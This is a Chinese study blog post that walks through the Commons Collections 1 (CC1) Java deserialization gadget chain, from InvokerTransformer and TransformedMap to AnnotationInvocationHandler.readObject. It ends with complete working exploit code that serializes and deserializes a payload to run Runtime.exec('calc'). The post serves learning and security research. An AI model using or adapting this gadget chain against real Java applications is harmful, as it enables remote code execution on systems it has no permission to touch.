cc1学习

前言:

本文主要记录学习cc1的过程,cc1是第一条也是最经典的一条利用链,后面几条利用链也是基本多多少少利用了这条链子,刚接触javacc链,过程中有错误理解不对的地方,欢迎师傅们指正

分析过程:

先简单提一下利用链是怎么形成的,也便我们好寻找

org.apache.commons.collections.functors Commons Collections 自定义的一组功能类

这组功能类里面有个 ConstantTransformer.java 是一个转换器,里面定义了一个 transform 方法,接收一个对象,并完整输出,也就是说可以从这里来入手

然后我们重点关注下 InvokerTransformer.java 因为里面的 transform 函数 接收一个对象,然后经过反射调用,方法值参数类型参数全部可控制,这里是链子的触发点,最终程序执行流会在这里触发我们想要的结果

 

构造利用链

构造payload看下InvokerTransformer的transform能不能用

按照 InvokerTransformer 给出的写法构造利用payload,这里先给runtme实例化为对象r,然后按照InvokerTransformer函数给出的类型填写方法,参数值等,最后调用transform执行前面实例化的 对象r执行calc

import org.apache.commons.collections.functors.InvokerTransformer;

public class CC1 {
    public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();

        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

    }

这里是成功的执行了calc

 寻找利用链

下面就去找有哪些类调用了 transform 方法,共有21个类调用了这个方法。主要去找不同名字的类调用transform 的方法

 重点关注 TransformedMap 类,因为里面三处函数调用了transform方法

进入 checkSetValue 方法,可以看到checkSetValue 函数调用了 valueTransformer 的 transform 方法,然后还需要找下checkSetValue 方法被哪里调用了

再来看下 valueTransformer 值是怎么传递过来的,它的函数修饰符是 protected 也就是说它会被自己调用 

接着简单分析下,这里实现了一个构造器 TransformedMap函数,super() 是 AbstractInputCheckedMapDecorator 这个父类里面定义的,用来包装函数用的,剩下两个参数是一个键值对

看到修饰符是一个受保护的方法,所以要找谁调用了它,向上看有一个 decorate 函数 是个静态方法,调用TransformedMap函数简单分析下是对传进来的值进行转换封装

也就是说只要调用 TransformedMap的decorate 方法就可以走到TransformedMap方法处。可以看到只有一处调用了checkSetValue ,进去看到其实是 TransformedMap 的父类

里面定义了一个MapEntry类,这个类里面的setValue 方法调用了checkSetValue方法,值也是可控的,接下来需要找一下哪个readObject类里面调用了setValue

右键setValue可以看到刚好在 AnnotationInvocationHandler 类的readObject方法里有一个遍历数组的功能,并且调用了setValue,但是有一个if,下面再说怎么绕先进到这个类里

进到这个类里从构造函数和接受的参数来看,此类没有修饰符默认为default需要用反射来获取,然后接收了两个参数,第一个是注解,第二个值也是可控的,直接map传进去一个对象就可以调用

再回来看一下readObject方法,由于runtime没有继承serialize接口所以不能反序列化,之后看到if那里还需要满足两个条件才能执行到setValue方法,不过没关系

这里可以通过反射来调用Runtime,来解决不能序列化的问题,因为没有继承Serializable接口

再来调试一下,下断点可以看到,程序在进入 if 时值是空的,这段代码的意思是判断memberValue里是否具有成员方法,没有就跳出程序

所以说只需要覆写注解里面的target的value即可实现绕过

具体实现

然后程序执行到下面会将valueTransformer.transform(value)里面的vualue改成AnnotationTypeMismatchExceptionProxy,绕过它也很简单其实还有一个ConstantTransformer类,这里可以通过调用它的transform来反射调用Runtime

具体实现

至此这条链子算是找完了,接下来开始构造链子

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.IOException;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.io.FileOutputStream;
import java.util.HashMap;
import java.util.Map;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.FileInputStream;

public class CC1 {
    public static void main(String[] args) throws Exception {
        
        Transformer[] transformers = new Transformer[]{ 
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);   

        HashMap<Object, Object> map = new HashMap<>();  
        map.put("value","ccc");
        Map<Object, Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);  
        
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  
        Constructor annotationInvocationdhlConstructor = c.getDeclaredConstructor(Class.class,Map.class);    
        annotationInvocationdhlConstructor.setAccessible(true); 
        Object o = annotationInvocationdhlConstructor.newInstance(Target.class, transformedMap); 

        serialize(o);
        unserialize("ser.bin");
    }
    
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

执行一下试试,成功弹出计算器

总结:

执行流程

写的比较细,师傅们可以下断点调试一下,如果有错的地方欢迎指出

ConstantTransformer().transform()

InvokerTransformer().transform()

TransformedMap().decorate().TransformedMap

AbstractInputCheckedMapDecorator().entrySet().next().MapEntry()

AnnotationInvocationHandler().readObject().setValue()

TransformedMap().checkSetValue()

InvokerTransformer().transform().getMethod().invoke().exec()

最后transformedmap相对ysoserial里的那条cc1来说还是比较容易一点,学习完收益良多

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值